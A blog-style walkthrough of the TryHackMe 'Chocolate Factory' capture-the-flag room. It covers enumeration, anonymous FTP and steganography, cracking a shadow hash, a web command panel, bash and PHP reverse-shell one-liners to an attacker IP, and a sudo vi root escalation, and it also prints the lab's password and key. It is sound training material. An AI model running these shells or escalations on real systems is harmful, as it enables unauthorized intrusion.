1356 words
7 minutes
Chocolate Factory TryHackMe Writeup

Hi all, we’re back with a new challenge called Chocolate Factory. This writeup is short-to-medium: we enumerate services, find anonymous FTP with an image, extract Base64 data, then pivot to the web app to get credentials and command execution. From www-data, we grab Charlie’s SSH key and become the user. Finally, we abuse sudo vi to get root and use the key in root.py for the last flag.

Let’s start by deploying the machine and noting the target IP.

I start with an Nmap scan to find open ports and services. This tells us where to focus.

Nmap results:#
╭─cat0x01 at cat0x01 in ~
╰─○ nmap -sV -sC 10.113.186.130 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 02:41 +00
Stats: 0:05:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.91% done; ETC: 02:46 (0:00:01 remaining)
Nmap scan report for 10.113.186.130
Host is up (0.11s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.140.227
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ac:66:9d:61:84:3e:91:42:a7:62:f7:8c:9f:8a:a7:37 (RSA)
| 256 12:e1:10:7f:4d:75:46:37:f5:a8:31:dd:33:55:d7:c4 (ECDSA)
|_ 256 b8:46:86:75:b7:cc:92:59:1b:78:88:e3:b1:49:89:67 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
100/tcp open newacct?
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
106/tcp open pop3pw?
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
109/tcp open pop2?
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
110/tcp open pop3?
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
111/tcp open rpcbind?
| fingerprint-strings:
| NULL, RPCCheck:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
113/tcp open ident?
| fingerprint-strings:
| GenericLines, GetRequest, Kerberos, LDAPSearchReq, NULL, RPCCheck, SSLSessionReq:
|_ http://localhost/key_rev_key <- You will find the key here!!!
119/tcp open nntp?
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
125/tcp open locus-map?
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"

The useful open ports are the common ones for FTP, HTTP, and SSH:

21 / ftp
80 / http
22 / ssh

I will start with FTP because anonymous login is allowed and there is a file listed.

FTP#

Terminal window
ftp 10.113.186.130
Connected to 10.113.186.130.
220 (vsFTPd 3.0.5)
Name (10.113.186.130:cat0x01): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||19485|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg
226 Directory send OK.
//// Download gum_room.jpg
ftp> get gum_room.jpg
local: gum_room.jpg remote: gum_room.jpg
229 Entering Extended Passive Mode (|||57979|)
150 Opening BINARY mode data connection for gum_room.jpg (208838 bytes).
100% |*********************************************************************************************************************************************| 203 KiB 361.21 KiB/s 00:00 ETA
226 Transfer complete.
208838 bytes received in 00:00 (314.36 KiB/s)
ftp> exit
221 Goodbye.

We download gum_room.jpg. In CTFs, an image often hides data, so steganography is a good next step.

Steganography#

Use steghide:

Terminal window
$ steghide extract -sf gum_room.jpg
Enter passphrase:
wrote extracted data to "b64.txt".

No password was needed (just press Enter). The output file b64.txt is Base64, so decode it to read the hidden content.

Terminal window
cat b64.txt | base64 -d

This gives part of /etc/passwd, and the interesting entry is the charlie hash:

Terminal window
charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::

This is a SHA512 hash, so we can try to crack it with a wordlist.

Hash cracking#

Terminal window
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt

Password is: cn7824

Web enum#

At the same time, I checked the website and ran gobuster to find hidden paths:

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ gobuster dir -u http://10.113.186.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.113.186.130
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home.php (Status: 200) [Size: 569]

When you log in using the username charlie and the password cn7824, you are redirected to home.php.

The page has an online command line. Try simple commands first like ls to see available files.

I prefer to see the results in the page source because it is cleaner and avoids formatting issues.

We found a key_rev_key. Let’s inspect it because the port hint mentioned a key.

cat key_rev_key

You will find Charlie’s key in the HTML source as well.

Since we can run commands, the next step is to get a reverse shell for a stable session.

Reverse shell#

Since we have command execution, we can get a shell:

Terminal window
bash -i >& /dev/tcp/192.168.140.227/4444 0>&1

If that doesn’t work:

php -r '$sock=fsockopen("192.168.140.227",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Start a listener:

Terminal window
nc -lvnp 4444

Now we are www-data, which is the web server user.

Let’s check users under /home/ to see available accounts and files.

In the charlie folder we found user.txt, but we can’t read it yet. There is also a file teleport that contains an SSH private key. We can use it to log in as the charlie user.

Copy the key, save it to a file, and change the file permission to 600 (SSH requires strict permissions).

Terminal window
$ chmod 600 idrsa
$ ssh -i idrsa charlie@10.113.186.130

Now we are the charlie user. Grab the user flag and continue to privilege escalation.

We got the user.txt flag.

Let’s do privilege escalation to get root access.

Privesc#

Let’s check the id command to see group memberships.

Terminal window
uid=1000(charlie) gid=1000(charley) groups=1000(charley),0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

We are in the sudo group. Check allowed commands with sudo -l:

Terminal window
charlie@ip-10-113-186-130:/home/charlie$ sudo -l
Matching Defaults entries for charlie on ip-10-113-186-130:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User charlie may run the following commands on ip-10-113-186-130:
(ALL : !root) NOPASSWD: /usr/bin/vi

We can run vi with sudo (but not as root directly). vi can execute shell commands, so we can escalate from inside the editor.

Do this:

$ sudo vi
// press ESC and then type ':!/bin/bash -p'

Now we are root.

Let’s go to /root.

We find root.py, so let’s run it with python3 root.py and enter the key.

Enter the key: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

And we got the root flag.

I hope you enjoyed this room. See you in another one.